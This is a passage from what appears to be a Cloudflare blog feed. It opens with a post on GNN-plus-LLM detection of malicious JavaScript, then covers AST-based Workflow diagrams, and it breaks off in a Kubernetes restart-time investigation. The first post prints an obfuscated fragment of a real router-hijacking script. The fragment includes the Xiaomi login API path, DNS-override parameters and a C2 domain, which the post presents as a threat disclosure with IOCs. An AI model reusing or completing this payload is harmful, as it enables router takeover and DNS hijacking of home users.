          </figure><p><a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/#training-the-model-to-detect-hidden-malicious-intent"><u>As we previously explained</u></a>, our GNN is trained on publicly accessible script URLs, the same scripts any browser would fetch. The LLM inference at runtime runs entirely within Cloudflare’s network via <a href="https://developers.cloudflare.com/workers-ai/"><u>Workers AI</u></a> using open-source models (we currently use <code>gpt-oss-120b</code>).</p><p>As an additional safety net, every script flagged by the GNN is logged to Cloudflare <a href="https://developers.cloudflare.com/r2/"><u>R2</u></a> for posterior analysis. This allows us to continuously audit whether the LLM’s overrides are correct and catch any edge cases where a true attack might have been inadvertently filtered out. Yes, we dogfood our own storage products for our own ML pipeline.</p><p>The results from our internal evaluations on real production traffic are compelling. Focusing on total analyzed traffic under the JS Integrity threat category, the secondary LLM validation layer reduced false positives by nearly 3x: dropping the already low ~0.3% FP rate down to ~0.1%. When evaluating unique scripts, the impact is even more dramatic: the FP rate plummets a whopping ~200x, from ~1.39% down to just 0.007%.</p><p>At our scale, cutting the overall false positive rate by two-thirds translates to millions fewer false alarms for our customers every single day. Crucially, our True Positive (actual attack) detection capability includes a fallback mechanism:as noted above, we audit the LLM’s overrides to check for possible true attacks that were filtered by the LLM.</p><p>Because the LLM acts as a highly reliable precision filter in this pipeline, we can now afford to lower the GNN’s decision threshold, making it even more aggressive. This means we catch novel, highly obfuscated True Attacks that would have previously fallen just below the detection boundary, all without overwhelming customers with false alarms. In the next phase, we plan to push this even further.</p>
    <div>
      <h3>Catching zero-days in the wild: The <code>core.js</code> router exploit</h3>
      <a href="#catching-zero-days-in-the-wild-the-core-js-router-exploit">
        
      </a>
    </div>
    <p>This two-stage architecture is already proving its worth in the wild. Just recently, our detection pipeline flagged a novel, highly obfuscated malicious script (<code>core.js</code>) targeting users in specific regions.</p><p>In this case, the payload was engineered to commandeer home routers (specifically Xiaomi OpenWrt-based devices). Upon closer inspection via deobfuscation, the script demonstrated significant situational awareness: it queries the router's WAN configuration (dynamically adapting its payload using parameters like <code>wanType=dhcp</code>, <code>wanType=static</code>, and <code>wanType=pppoe</code>), overwrites the DNS settings to hijack traffic through Chinese public DNS servers, and even attempts to lock out the legitimate owner by silently changing the admin password. Instead of compromising a website directly, it had been injected into users' sessions via compromised browser extensions.</p><p>To evade detection, the script's core logic was heavily minified and packed using an array string obfuscator — a classic trick, but effective enough that traditional threat intelligence platforms like VirusTotal have not yet reported detections at the time of this writing.</p><p><b>Our GNN successfully revealed</b> the underlying malicious structure despite the obfuscation, and the <b>Workers AI LLM confidently confirmed</b> the intent. Here is a glimpse of the payload showing the target router API and the attempt to inject a rogue DNS server:</p>
            <pre><code>const _0x1581=['bXhqw','=sSMS9WQ3RXc','cookie','qvRuU','pDhcS','WcQJy','lnqIe','oagRd','PtPlD','catch','defaultUrl','rgXPslXN','9g3KxI1b','123123123','zJvhA','content','dMoLJ','getTime','charAt','floor','wZXps','value','QBPVX','eJOgP','WElmE','OmOVF','httpOnly','split','userAgent','/?code=10&amp;asyn=0&amp;auth=','nonce=','dsgAq','VwEvU','==wb1kHb9g3KxI1b','cNdLa','W748oghc9TefbwK','_keyStr','parse','BMvDU','JYBSl','SoGNb','vJVMrgXPslXN','=Y2KwETdSl2b','816857iPOqmf','uexax','uYTur','LgIeF','OwlgF','VkYlw','nVRZT','110594AvIQbs','LDJfR','daPLo','pGkLa','nbWlm','responseText','20251212','EKjNN','65kNANAl','.js','94963VsBvZg','WuMYz','domain','tvSin','length','UBDtu','pfChN','1TYbnhd','charCodeAt','/cgi-bin/luci/api/xqsystem/login','http://192.168.','trace','https://api.qpft5.com','&amp;newPwd=','mWHpj','wanType','XeEyM','YFBnm','RbRon','xI1bxI1b','fBjZQ','shift','=8yL1kHb9g3KxI1b','http://','LhGKV','AYVJu','zXrRK','status','OQjnd','response','AOBSe','eTgcy','cEKWR','&amp;dns2=','fzdsr','filter','FQXXx','Kasen','faDeG','vYnzx','Fyuiu','379787JKBNWn','xiroy','mType','arGpo','UFKvk','tvTxu','ybLQp','EZaSC','UXETL','IRtxh','HTnda','trim','/fee','=82bv92bv92b','BGPKb','BzpiL','MYDEF','lastIndexOf','wypgk','KQMDB','INQtL','YiwmN','SYrdY','qlREc','MetQp','Wfvfh','init','/ds','HgEOZ','mfsQG','address','cDxLQ','owmLP','IuNCv','=syKxEjUS92b','then','createOffer','aCags','tJHgQ','JIoFh','setItem','ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','Kwshb','ETDWH','0KcgeX92i0efbwK','stringify','295986XNqmjG','zfJMl','platform','NKhtt','onreadystatechange','88888888','push','cJVJO','XPOwd','gvhyl','ceZnn','fromCharCode',';Secure','452114LDbVEo','vXkmg','open','indexOf','UiXXo','yyUvu','ddp','jHYBZ','iNWCL','info','reverse','i4Q18Pro9TefbwK','mAPen','3960IiTopc','spOcD','dbKAM','ZzULq','bind','GBSxL','=A3QGRFZxZ2d','toUpperCase','AvQeJ','diWqV','iXtgM','lbQFd','iOS','zVowQ','jTeAP','wanType=dhcp&amp;autoset=1&amp;dns1=','fNKHB','nGkgt','aiEOB','dpwWd','yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW','encode','gWYAY','mckDW','createDataChannel'];
const _0x4b08=function(_0x5cc416,_0x2b0c4c){_0x5cc416=_0x5cc416-0x1d5;let _0xd00112=_0x1581[_0x5cc416];return _0xd00112;};
(function(_0x3ff841,_0x4d6f8b){const _0x45acd8=_0x4b08;while(!![]){try{const _0x1933aa=-parseInt(_0x45acd8(0x275))*-parseInt(_0x45acd8(0x264))+-parseInt(_0x45acd8(0x1ff))+parseInt(_0x45acd8(0x25d))+-parseInt(_0x45acd8(0x297))+parseInt(_0x45acd8(0x20c))+parseInt(_0x45acd8(0x26e))+-parseInt(_0x45acd8(0x219))*parseInt(_0x45acd8(0x26c));if(_0x1933aa===_0x4d6f8b)break;else _0x3ff841['push'](_0x3ff841['shift']());}catch(_0x8e5119){_0x3ff841['push'](_0x3ff841['shift']());}}}(_0x1581,0x842ab));</code></pre>
            <p>This is exactly the kind of sophisticated, zero-day threat that a static signature-based WAF would miss but our structural and semantic AI approach catches.</p>
    <div>
      <h4>Indicators of Compromise (IOCs)</h4>
      <a href="#indicators-of-compromise-iocs">
        
      </a>
    </div>
    <ul><li><p><b>URL:</b> hxxps://ns[.]qpft5[.]com/ads/core[.]js</p></li><li><p><b>SHA-256:</b> 4f2b7d46148b786fae75ab511dc27b6a530f63669d4fe9908e5f22801dea9202</p></li><li><p><b>C2 Domain:</b> hxxps://api[.]qpft5[.]com</p></li></ul>
    <div>
      <h2>Domain-based threat intelligence free for all</h2>
      <a href="#domain-based-threat-intelligence-free-for-all">
        
      </a>
    </div>
    <p>Today we are making domain-based threat intelligence available to all Cloudflare Client-Side Security customers, regardless of whether you use the Advanced offering.</p><p>In 2025, we saw many non-enterprise customers affected by client-side attacks, particularly those customers running webshops on the Magento platform. These attacks persisted for days or even weeks after they were publicized. Small and medium-sized companies often lack the enterprise-level resources and expertise needed to maintain a high security standard.</p><p>By providing domain-based threat intelligence to everyone, we give site owners a critical, direct signal of attacks affecting their users. This information allows them to take immediate action to clean up their site and investigate potential origin compromises.</p><p>To begin, simply enable Client-Side Security with a toggle <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings?tabs=client-side-abuse"><u>in the dashboard</u></a>. We will then highlight any JavaScript or connections associated with a known malicious domain.</p>
    <div>
      <h2>Get started with Client-Side Security Advanced for PCI DSS v4</h2>
      <a href="#get-started-with-client-side-security-advanced-for-pci-dss-v4">
        
      </a>
    </div>
    <p>To learn more about Client-Side Security Advanced pricing, please visit <a href="https://www.cloudflare.com/plans/"><u>the plans page</u></a>. Before committing, we will estimate the cost based on your last month’s HTTP requests, so you know exactly what to expect.</p><p>Client-Side Security Advanced has all the tools you need to meet the requirements <a href="https://developers.cloudflare.com/page-shield/reference/pci-dss/"><u>of PCI DSS v4</u></a> as an e-commerce merchant, particularly 6.4.3 and 11.6.1. Sign up today <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings?tabs=client-side-abuse"><u>in the dashboard</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">6NYXSzUcRxDdj9UP0kouAK</guid>
            <dc:creator>Zhiyuan Zheng</dc:creator>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
        </item>
        <item>
            <title><![CDATA[How we use Abstract Syntax Trees (ASTs) to turn Workflows code into visual diagrams ]]></title>
            <link>https://blog.cloudflare.com/workflow-diagrams/</link>
            <pubDate>Fri, 27 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ Workflows are now visualized via step diagrams in the dashboard. Here’s how we translate your TypeScript code into a visual representation of the workflow.  ]]></description>
            <content:encoded><![CDATA[ <p><a href="https://www.cloudflare.com/developer-platform/products/workflows/"><u>Cloudflare Workflows</u></a> is a durable execution engine that lets you chain steps, retry on failure, and persist state across long-running processes. Developers use Workflows to power background agents, manage data pipelines, build human-in-the-loop approval systems, and more.</p><p>Last month, we <a href="https://developers.cloudflare.com/changelog/post/2026-02-03-workflows-visualizer/"><u>announced</u></a> that every workflow deployed to Cloudflare now has a complete visual diagram in the dashboard.</p><p>We built this because being able to visualize your applications is more important now than ever before. Coding agents are writing code that you may or may not be reading. However, the shape of what gets built still matters: how the steps connect, where they branch, and what's actually happening.</p><p>If you've seen diagrams from visual workflow builders before, those are usually working from something declarative: JSON configs, YAML, drag-and-drop. However, Cloudflare Workflows are just code. They can include <a href="https://developers.cloudflare.com/workflows/build/workers-api/"><u>Promises, Promise.all, loops, conditionals,</u></a> and/or be nested in functions or classes. This dynamic execution model makes rendering a diagram a bit more complicated.</p><p>We use Abstract Syntax Trees (ASTs) to statically derive the graph, tracking <code>Promise</code> and <code>await</code> relationships to understand what runs in parallel, what blocks, and how the pieces connect. </p><p>Keep reading to learn how we built these diagrams, or deploy your first workflow and see the diagram for yourself.</p><a href="https://deploy.workers.cloudflare.com/?url=https://github.com/cloudflare/templates/tree/main/workflows-starter-template"><img src="https://deploy.workers.cloudflare.com/button" /></a>
<p></p><p>Here’s an example of a diagram generated from Cloudflare Workflows code:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/44NnbqiNda2vgzIEneHQ3W/044856325693fbeb75ed1ab38b4db1c2/image1.png" />
          </figure>
    <div>
      <h3>Dynamic workflow execution</h3>
      <a href="#dynamic-workflow-execution">
        
      </a>
    </div>
    <p>Generally, workflow engines can execute according to either dynamic or sequential (static) execution order. Sequential execution might seem like the more intuitive solution: trigger workflow → step A → step B → step C, where step B starts executing immediately after the engine completes Step A, and so forth.</p><p><a href="https://developers.cloudflare.com/workflows/"><u>Cloudflare Workflows</u></a> follow the dynamic execution model. Since workflows are just code, the steps execute as the runtime encounters them. When the runtime discovers a step, that step gets passed over to the workflow engine, which manages its execution. The steps are not inherently sequential unless awaited — the engine executes all unawaited steps in parallel. This way, you can write your workflow code as flow control without additional wrappers or directives. Here’s how the handoff works:</p><ol><li><p>An <i>engine</i>, which is a “supervisor” Durable Object for that instance, spins up. The engine is responsible for the logic of the actual workflow execution. </p></li><li><p>The engine triggers a <a href="https://developers.cloudflare.com/cloudflare-for-platforms/workers-for-platforms/how-workers-for-platforms-works/#user-workers"><u>user worker</u></a> via <a href="https://developers.cloudflare.com/cloudflare-for-platforms/workers-for-platforms/configuration/dynamic-dispatch/"><u>dynamic dispatch</u></a>, passing control over to Workers runtime.</p></li><li><p>When Runtime encounters a <code>step.do</code>, it passes the execution back to the engine.</p></li><li><p>The engine executes the step, persists the result (or throws an error, if applicable) and triggers the user Worker again.  </p></li></ol><p>With this architecture, the engine does not inherently “know” the order of the steps that it is executing — but for a diagram, the order of steps becomes crucial information. The challenge here lies in getting the vast majority of workflows translated accurately into a diagnostically helpful graph; with the diagrams in beta, we will continue to iterate and improve on these representations.</p>
    <div>
      <h3>Parsing the code</h3>
      <a href="#parsing-the-code">
        
      </a>
    </div>
    <p>Fetching the script at <a href="https://developers.cloudflare.com/workers/get-started/guide/#4-deploy-your-project"><u>deploy time</u></a>, instead of run time, allows us to parse the workflow in its entirety to statically generate the diagram. </p><p>Taking a step back, here is the life of a workflow deployment:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1zoOCYji26ahxzh594VavQ/63ad96ae033653ffc7fd98df01ea6e27/image5.png" />
          </figure><p>To create the diagram, we fetch the script after it has been bundled by the internal configuration service which deploys Workers (step 2 under Workflow deployment). Then, we use a parser to create an abstract syntax tree (AST) representing the workflow, and our internal service generates and traverses an intermediate graph with all WorkflowEntrypoints and calls to workflows steps. We render the diagram based on the final result on our API. </p><p>When a Worker is deployed, the configuration service bundles (using <a href="https://esbuild.github.io/"><u>esbuild</u></a> by default) and minifies the code <a href="https://developers.cloudflare.com/workers/wrangler/configuration/#inheritable-keys"><u>unless specified otherwise</u></a>. This presents another challenge — while Workflows in TypeScript follow an intuitive pattern, their minified Javascript (JS) can be dense and indigestible. There are also different ways that code can be minified, depending on the bundler. </p><p>Here’s an example of Workflow code that shows <b>agents executing in parallel:</b></p>
            <pre><code>const summaryPromise = step.do(
         `summary agent (loop ${loop})`,
         async () =&gt; {
           return runAgentPrompt(
             this.env,
             SUMMARY_SYSTEM,
             buildReviewPrompt(
               'Summarize this text in 5 bullet points.',
               draft,
               input.context
             )
           );
         }
       );
        const correctnessPromise = step.do(
         `correctness agent (loop ${loop})`,
         async () =&gt; {
           return runAgentPrompt(
             this.env,
             CORRECTNESS_SYSTEM,
             buildReviewPrompt(
               'List correctness issues and suggested fixes.',
               draft,
               input.context
             )
           );
         }
       );
        const clarityPromise = step.do(
         `clarity agent (loop ${loop})`,
         async () =&gt; {
           return runAgentPrompt(
             this.env,
             CLARITY_SYSTEM,
             buildReviewPrompt(
               'List clarity issues and suggested fixes.',
               draft,
               input.context
             )
           );
         }
       );</code></pre>
            <p>Bundling with <a href="https://rspack.rs/"><u>rspack</u></a>, a snippet of the minified code looks like this:</p>
            <pre><code>class pe extends e{async run(e,t){de("workflow.run.start",{instanceId:e.instanceId});const r=await t.do("validate payload",async()=&gt;{if(!e.payload.r2Key)throw new Error("r2Key is required");if(!e.payload.telegramChatId)throw new Error("telegramChatId is required");return{r2Key:e.payload.r2Key,telegramChatId:e.payload.telegramChatId,context:e.payload.context?.trim()}}),s=await t.do("load source document from r2",async()=&gt;{const e=await this.env.REVIEW_DOCUMENTS.get(r.r2Key);if(!e)throw new Error(`R2 object not found: ${r.r2Key}`);const t=(await e.text()).trim();if(!t)throw new Error("R2 object is empty");return t}),n=Number(this.env.MAX_REVIEW_LOOPS??"5"),o=this.env.RESPONSE_TIMEOUT??"7 days",a=async(s,i,c)=&gt;{if(s&gt;n)return le("workflow.loop.max_reached",{instanceId:e.instanceId,maxLoops:n}),await t.do("notify max loop reached",async()=&gt;{await se(this.env,r.telegramChatId,`Review stopped after ${n} loops for ${e.instanceId}. Start again if you still need revisions.`)}),{approved:!1,loops:n,finalText:i};const h=t.do(`summary agent (loop ${s})`,async()=&gt;te(this.env,"You summarize documents. Keep the output short, concrete, and factual.",ue("Summarize this text in 5 bullet points.",i,r.context)))...</code></pre>
            <p>Or, bundling with <a href="https://vite.dev/"><u>vite</u></a>, here is a minified snippet:</p>
            <pre><code>class ht extends pe {
  async run(e, r) {
    b("workflow.run.start", { instanceId: e.instanceId });
    const s = await r.do("validate payload", async () =&gt; {
      if (!e.payload.r2Key)
        throw new Error("r2Key is required");
      if (!e.payload.telegramChatId)
        throw new Error("telegramChatId is required");
      return {
        r2Key: e.payload.r2Key,
        telegramChatId: e.payload.telegramChatId,
        context: e.payload.context?.trim()
      };
    }), n = await r.do(
      "load source document from r2",
      async () =&gt; {
        const i = await this.env.REVIEW_DOCUMENTS.get(s.r2Key);
        if (!i)
          throw new Error(`R2 object not found: ${s.r2Key}`);
        const c = (await i.text()).trim();
        if (!c)
          throw new Error("R2 object is empty");
        return c;
      }
    ), o = Number(this.env.MAX_REVIEW_LOOPS ?? "5"), l = this.env.RESPONSE_TIMEOUT ?? "7 days", a = async (i, c, u) =&gt; {
      if (i &gt; o)
        return H("workflow.loop.max_reached", {
          instanceId: e.instanceId,
          maxLoops: o
        }), await r.do("notify max loop reached", async () =&gt; {
          await J(
            this.env,
            s.telegramChatId,
            `Review stopped after ${o} loops for ${e.instanceId}. Start again if you still need revisions.`
          );
        }), {
          approved: !1,
          loops: o,
          finalText: c
        };
      const h = r.do(
        `summary agent (loop ${i})`,
        async () =&gt; _(
          this.env,
          et,
          K(
            "Summarize this text in 5 bullet points.",
            c,
            s.context
          )
        )
      )...</code></pre>
            <p>Minified code can get pretty gnarly — and depending on the bundler, it can get gnarly in a bunch of different directions.</p><p>We needed a way to parse the various forms of minified code quickly and precisely. We decided <code>oxc-parser</code> from the <a href="https://oxc.rs/"><u>JavaScript Oxidation Compiler</u></a> (OXC) was perfect for the job. We first tested this idea by having a container running Rust. Every script ID was sent to a <a href="https://developers.cloudflare.com/queues/"><u>Cloudflare Queue</u></a>, after which messages were popped and sent to the container to process. Once we confirmed this approach worked, we moved to a Worker written in Rust. Workers supports running <a href="https://developers.cloudflare.com/workers/languages/rust/"><u>Rust via WebAssembly</u></a>, and the package was small enough to make this straightforward.</p><p>The Rust Worker is responsible for first converting the minified JS into AST node types, then converting the AST node types into the graphical version of the workflow that is rendered on the dashboard. To do this, we generate a graph of pre-defined <a href="https://developers.cloudflare.com/workflows/build/visualizer/"><u>node types</u></a> for each workflow and translate into our graph representation through a series of node mappings. </p>
    <div>
      <h3>Rendering the diagram</h3>
      <a href="#rendering-the-diagram">
        
      </a>
    </div>
    <p>There were two challenges to rendering a diagram version of the workflow: how to track step and function relationships correctly, and how to define the workflow node types as simply as possible while covering all the surface area.</p><p>To guarantee that step and function relationships are tracked correctly, we needed to collect both the function and step names. As we discussed earlier, the engine only has information about the steps, but a step may be dependent on a function, or vice versa. For example, developers might wrap steps in functions or define functions as steps. They could also call steps within a function that come from different <a href="https://blog.cloudflare.com/workers-javascript-modules/"><u>modules</u></a> or rename steps. </p><p>Although the library passes the initial hurdle by giving us the AST, we still have to decide how to parse it.  Some code patterns require additional creativity. For example, functions — within a <code>WorkflowEntrypoint</code>, there can be functions that call steps directly, indirectly, or not at all. Consider <code>functionA</code>, which contains <code>console.log(await functionB(), await functionC()</code>) where <code>functionB</code> calls a <code>step.do()</code>. In that case, both <code>functionA</code> and <code>functionB</code> should be included on the workflow diagram; however, <code>functionC</code> should not. To catch all functions which include direct and indirect step calls, we create a subgraph for each function and check whether it contains a step call itself or whether it calls another function which might. Those subgraphs are represented by a function node, which contains all of its relevant nodes. If a function node is a leaf of the graph, meaning it has no direct or indirect workflow steps within it, it is trimmed from the final output. </p><p>We check for other patterns as well, including a list of static steps from which we can infer the workflow diagram or variables, defined in up to ten different ways. If your script contains multiple workflows, we follow a similar pattern to the subgraphs created for functions, abstracted one level higher. </p><p>For every AST node type, we had to consider every way they could be used inside of a workflow: loops, branches, promises, parallels, awaits, arrow functions… the list goes on. Even within these paths, there are dozens of possibilities. Consider just a few of the possible ways to loop:</p>
            <pre><code>// for...of
for (const item of items) {
	await step.do(`process ${item}`, async () =&gt; item);
}
// while
while (shouldContinue) {
	await step.do('poll', async () =&gt; getStatus());
}
// map
await Promise.all(
	items.map((item) =&gt; step.do(`map ${item}`, async () =&gt; item)),
);
// forEach
await items.forEach(async (item) =&gt; {
	await step.do(`each ${item}`, async () =&gt; item);
});</code></pre>
            <p>And beyond looping, how to handle branching:</p>
            <pre><code>// switch / case
switch (action.type) {
	case 'create':
		await step.do('handle create', async () =&gt; {});
		break;
	default:
		await step.do('handle unknown', async () =&gt; {});
		break;
}

// if / else if / else
if (status === 'pending') {
	await step.do('pending path', async () =&gt; {});
} else if (status === 'active') {
	await step.do('active path', async () =&gt; {});
} else {
	await step.do('fallback path', async () =&gt; {});
}

// ternary operator
await (cond
	? step.do('ternary true branch', async () =&gt; {})
	: step.do('ternary false branch', async () =&gt; {}));

// nullish coalescing with step on RHS
const myStepResult =
	variableThatCanBeNullUndefined ??
	(await step.do('nullish fallback step', async () =&gt; 'default'));

// try/catch with finally
try {
	await step.do('try step', async () =&gt; {});
} catch (_e) {
	await step.do('catch step', async () =&gt; {});
} finally {
	await step.do('finally step', async () =&gt; {});
}</code></pre>
            <p>Our goal was to create a concise API that communicated what developers need to know without overcomplicating it. But converting a workflow into a diagram meant accounting for every pattern (whether it follows best practices, or not) and edge case possible. As we discussed earlier, each step is not explicitly sequential, by default, to any other step. If a workflow does not utilize <code>await</code> and <code>Promise.all()</code>, we assume that the steps will execute in the order in which they are encountered. But if a workflow included <code>await</code>, <code>Promise</code> or <code>Promise.all()</code>, we needed a way to track those relationships.</p><p>We decided on tracking execution order, where each node has a <code>starts:</code> and <code>resolves:</code> field. The <code>starts</code> and <code>resolves</code> indices tell us when a promise started executing and when it ends relative to the first promise that started without an immediate, subsequent conclusion. This correlates to vertical positioning in the diagram UI (i.e., all steps with <code>starts:1</code> will be inline). If steps are awaited when they are declared, then <code>starts</code> and <code>resolves</code> will be undefined, and the workflow will execute in the order of the steps’ appearance to the runtime.</p><p>While parsing, when we encounter an unawaited <code>Promise</code> or <code>Promise.all()</code>, that node (or nodes) are marked with an entry number, surfaced in the <code>starts</code> field. If we encounter an <code>await</code> on that promise, the entry number is incremented by one and saved as the exit number (which is the value in <code>resolves</code>). This allows us to know which promises run at the same time and when they’ll complete in relation to each other.</p>
            <pre><code>export class ImplicitParallelWorkflow extends WorkflowEntrypoint&lt;Env, Params&gt; {
 async run(event: WorkflowEvent&lt;Params&gt;, step: WorkflowStep) {
   const branchA = async () =&gt; {
     const a = step.do("task a", async () =&gt; "a"); //starts 1
     const b = step.do("task b", async () =&gt; "b"); //starts 1
     const c = await step.waitForEvent("task c", { type: "my-event", timeout: "1 hour" }); //starts 1 resolves 2
     await step.do("task d", async () =&gt; JSON.stringify(c)); //starts 2 resolves 3
     return Promise.all([a, b]); //resolves 3
   };

   const branchB = async () =&gt; {
     const e = step.do("task e", async () =&gt; "e"); //starts 1
     const f = step.do("task f", async () =&gt; "f"); //starts 1
     return Promise.all([e, f]); //resolves 2
   };

   await Promise.all([branchA(), branchB()]);

   await step.sleep("final sleep", 1000);
 }
}</code></pre>
            <p>You can see the steps’ alignment in the diagram:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6EZJ38J3H55yH0OnT11vgg/6dde06725cd842725ee3af134b1505c0/image3.png" />
          </figure><p>After accounting for all of those patterns, we settled on the following list of node types: 	</p>
            <pre><code>| StepSleep
| StepDo
| StepWaitForEvent
| StepSleepUntil
| LoopNode
| ParallelNode
| TryNode
| BlockNode
| IfNode
| SwitchNode
| StartNode
| FunctionCall
| FunctionDef
| BreakNode;</code></pre>
            <p>Here are a few samples of API output for different behaviors: </p><p><code>function</code> call:</p>
            <pre><code>{
  "functions": {
    "runLoop": {
      "name": "runLoop",
      "nodes": []
    }
  }
}</code></pre>
            <p><code>if</code> condition branching to <code>step.do</code>:</p>
            <pre><code>{
  "type": "if",
  "branches": [
    {
      "condition": "loop &gt; maxLoops",
      "nodes": [
        {
          "type": "step_do",
          "name": "notify max loop reached",
          "config": {
            "retries": {
              "limit": 5,
              "delay": 1000,
              "backoff": "exponential"
            },
            "timeout": 10000
          },
          "nodes": []
        }
      ]
    }
  ]
}</code></pre>
            <p><code>parallel</code> with <code>step.do</code> and <code>waitForEvent</code>:</p>
            <pre><code>{
  "type": "parallel",
  "kind": "all",
  "nodes": [
    {
      "type": "step_do",
      "name": "correctness agent (loop ${...})",
      "config": {
        "retries": {
          "limit": 5,
          "delay": 1000,
          "backoff": "exponential"
        },
        "timeout": 10000
      },
      "nodes": [],
      "starts": 1
    },
...
    {
      "type": "step_wait_for_event",
      "name": "wait for user response (loop ${...})",
      "options": {
        "event_type": "user-response",
        "timeout": "unknown"
      },
      "starts": 3,
      "resolves": 4
    }
  ]
}</code></pre>
            
    <div>
      <h3>What’s next</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>Ultimately, the goal of these Workflow diagrams is to serve as a full-service debugging tool. That means you’ll be able to:</p><ul><li><p>Trace an execution through the graph in real time</p></li><li><p>Discover errors, wait for human-in-the-loop approvals, and skip steps for testing</p></li><li><p>Access visualizations in local development</p></li></ul><p>Check out the diagrams on your <a href="https://dash.cloudflare.com/?to=/:account/workers/workflows"><u>Workflow overview pages</u></a>. If you have any feature requests or notice any bugs, share your feedback directly with the Cloudflare team by joining the <a href="https://discord.cloudflare.com/"><u>Cloudflare Developers community on Discord</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Workflows]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Developers]]></category>
            <guid isPermaLink="false">4HOWpzOgT3eVU2wFa4adFU</guid>
            <dc:creator>André Venceslau</dc:creator>
            <dc:creator>Mia Malden</dc:creator>
        </item>
        <item>
            <title><![CDATA[A one-line Kubernetes fix that saved 600 hours a year]]></title>
            <link>https://blog.cloudflare.com/one-line-kubernetes-fix-saved-600-hours-a-year/</link>
            <pubDate>Thu, 26 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ When we investigated why our Atlantis instance took 30 minutes to restart, we discovered a bottleneck in how Kubernetes handles volume permissions. By adjusting the fsGroupChangePolicy, we reduced restart times to 30 seconds. ]]></description>
            <content:encoded><![CDATA[ <p>Every time we restarted Atlantis, the tool we use to plan and apply Terraform changes, we’d be stuck for 30 minutes waiting for it to come back up. No plans, no applies, no infrastructure changes for any repository managed by Atlantis. With roughly 100 restarts a month for credential rotations and onboarding, that added up to over <b>50 hours of blocked engineering time every month</b>, and paged the on-call engineer every time.</p><p>This was ultimately caused by a safe default in Kubernetes that had silently become a bottleneck as the persistent volume used by Atlantis grew to millions of files. Here’s how we tracked it down and fixed it with a one-line change.</p>
    <div>
      <h3>Mysteriously slow restarts</h3>
      <a href="#mysteriously-slow-restarts">
        
      </a>
    </div>
    <p>We manage dozens of Terraform projects with GitLab merge requests (MRs) using <a href="https://www.runatlantis.io/"><u>Atlantis</u></a>, which handles planning and applying. It enforces locking to ensure that only one MR can modify a project at a time. </p><p>It runs on Kubernetes as a singleton StatefulSet and relies on a Kubernetes PersistentVolume (PV) to keep track of repository state on disk. Whenever a Terraform project needs to be onboarded or offboarded, or credentials used by Terraform are updated, we have to restart Atlantis to pick up those changes — a process that can take 30 minutes.</p><p>The slow restart was apparent when we recently ran out of inodes on the persistent storage used by Atlantis, forcing us to restart it to resize the volume. Inodes are consumed by each file and directory entry on disk, and the number available to a filesystem is determined by parameters passed when creating it. The Ceph persistent storage implementation provided by our Kubernetes platform does not expose a way to pass flags to <code>mkfs</code>, so we’re at the mercy of default values: growing the filesystem is the only way to grow available inodes, and restarting a PV requires a pod restart. </p><p>We talked about extending the alert window, but that would just mask the problem and delay our response to actual issues. Instead, we decided to investigate exactly why it was taking so long.</p>
    <div>
      <h3>Bad behavior</h3>
      <a href="#bad-behavior">
        
      </a>
    </div>
    <p>When we were asked to do a rolling restart of Atlantis to pick up a change to the secrets it uses, we would run <code>kubectl rollout restart statefulset atlantis</code>, which would gracefully terminate the existing Atlantis pod before spinning up a new one. The new pod would appear almost immediately, but looking at it would show:</p>
            <pre><code>$ kubectl get pod atlantis-0
atlantis-0                                                        0/1     
Init:0/1     0             30m
</code></pre>
            <p>...so what gives? Naturally, the first thing to check would be events for that pod. It's waiting around for an init container to run, so maybe the pod events would illuminate why?</p>
            <pre><code>$ kubectl events --for=pod/atlantis-0
LAST SEEN   TYPE      REASON                   OBJECT                   MESSAGE
30m         Normal    Killing                  Pod/atlantis-0   Stopping container atlantis-server
30m        Normal    Scheduled                Pod/atlantis-0   Successfully assigned atlantis/atlantis-0 to 36com1167.cfops.net
22s         Normal    Pulling                  Pod/atlantis-0   Pulling image "oci.example.com/git-sync/master:v4.1.0"
22s         Normal    Pulled                   Pod/atlantis-0   Successfully pulled image "oci.example.com/git-sync/master:v4.1.0" in 632ms (632ms including waiting). Image size: 58518579 bytes.</code></pre>
            <p>That looks almost normal... but what's taking so long between scheduling the pod and actually starting to pull the image for the init container? Unfortunately that was all the data we had to go on from Kubernetes itself. But surely there <i>had</i> to be something more that can tell us why it's taking so long to actually start running the pod.</p>
    <div>
      <h3>Going deeper</h3>
      <a href="#going-deeper">
        
      </a>
    </div>
    <p>In Kubernetes, a component called <code>kubelet</code> that runs on each node is responsible for coordinating pod creation, mounting persistent volumes, and many other things. From my time on our Kubernetes team, I know that <code>kubelet</code> runs as a systemd service and so its logs should be available to us in Kibana. Since the pod has been scheduled, we know the host name we're interested in, and the log messages from <code>kubelet</code> include the associated object, so we could filter for <code>atlantis</code> to narrow down the log messages to anything we found interesting.</p><p>We were able to observe the Atlantis PV being mounted shortly after the pod was scheduled. We also observed all the secret volumes mount without issue. However, there was still a big unexplained gap in the logs. We saw:</p>
